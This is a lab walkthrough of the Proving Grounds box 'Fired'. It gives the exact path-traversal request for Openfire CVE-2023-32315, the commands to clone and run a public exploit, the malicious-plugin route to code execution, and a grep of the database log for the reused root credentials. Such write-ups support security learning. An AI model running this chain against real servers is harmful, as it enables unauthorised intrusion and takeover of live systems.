# Fired Writeup - Proving Grounds

> Intermediate Linux box using Openfire's CVE-2023-32315 path traversal to create an unauthenticated admin account, uploading a malicious plugin for code execution, then reusing SMTP credentials from the embedded database log to escalate to root.

- **URL:** https://hackindex.io/writeups/fired
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** path-traversal, authentication-bypass, file-upload, credential-reuse, openfire, cve-2023-32315
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Fired runs Openfire 4.7.3, vulnerable to an unauthenticated path-traversal auth bypass (CVE-2023-32315) that reaches the setup environment's admin-creation endpoint. The new admin account uploads a malicious plugin for code execution as the openfire user, and SMTP credentials left in Openfire's embedded database log are reused for the system root account.

## Reconnaissance

### Nmap

Scan all ports.

```bash
nmap -sC -sV -Pn $TARGET_IP -p-
# 22/tcp   open  ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
# 9090/tcp open  zeus-admin?  # Openfire Admin Console
# 9091/tcp open  ssl/xmltec-xmlmail?  # Openfire Admin Console (HTTPS)
```

Port 9090 serves an Openfire 4.7.3 admin console. Openfire 4.7.3 is vulnerable to CVE-2023-32315, a path traversal in the administrative console's setup environment that lets an unauthenticated user reach admin-only pages, including the user-creation endpoint.

## Exploitation

### Authentication bypass to admin account creation (CVE-2023-32315)

A crafted request to the setup path traversal creates a new admin user without authentication.

```
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=<csrf>&username=<user>&password=<pass>&passwordConfirm=<pass>&isadmin=on&create=Create+User HTTP/1.1
Host: $TARGET_IP:9090
```

Use the public exploit to automate this and create a random admin account.

```bash
git clone https://github.com/miko550/CVE-2023-32315
pip3 install -r requirements.txt
python3 CVE-2023-32315.py -t http://$TARGET_IP:9090
# Successfully retrieved JSESSIONID: node01txetjm2cw3551qw17ldhriupt9.node0 + csrf: efa4RxNa4vUu3fl
# User added successfully: url: http://$TARGET_IP:9090 username: nf3y7f password: qiiowo
```

### RCE via malicious plugin upload

Log in with the created admin account and, from the Plugins tab, upload the exploit's management-tool plugin JAR. Then go to Server -> Server Settings -> Management Tool, log in with its hardcoded password (`123`), and choose **system command** from the dropdown.

```bash
id
# uid=114(openfire) gid=118(openfire) groups=118(openfire)
```

## Privilege Escalation

### SMTP credentials in Openfire's embedded database

The email settings show an SMTP account for root, but the password field only reveals a hash. Enumerate Openfire's embedded database instead.

```bash
cd /usr/share/openfire
ls -la
cat /var/lib/openfire/embedded-db/openfire.log | grep smtp
# INSERT INTO OFPROPERTY VALUES('mail.smtp.username','root',0,NULL)
# INSERT INTO OFPROPERTY VALUES('mail.smtp.password','$ROOT_PASSWORD',0,NULL)
```

The SMTP password is reused for the system `root` account.

```bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
su root
# Password:
# root@openfire:~# id
# uid=0(root) gid=0(root) groups=0(root)
```

Related

## References

- [CVE-2023-32315](https://nvd.nist.gov/vuln/detail/CVE-2023-32315) - Openfire admin console path traversal authentication bypass.
- [miko550/CVE-2023-32315](https://github.com/miko550/CVE-2023-32315) - Public exploit chaining the auth bypass with a malicious plugin for RCE.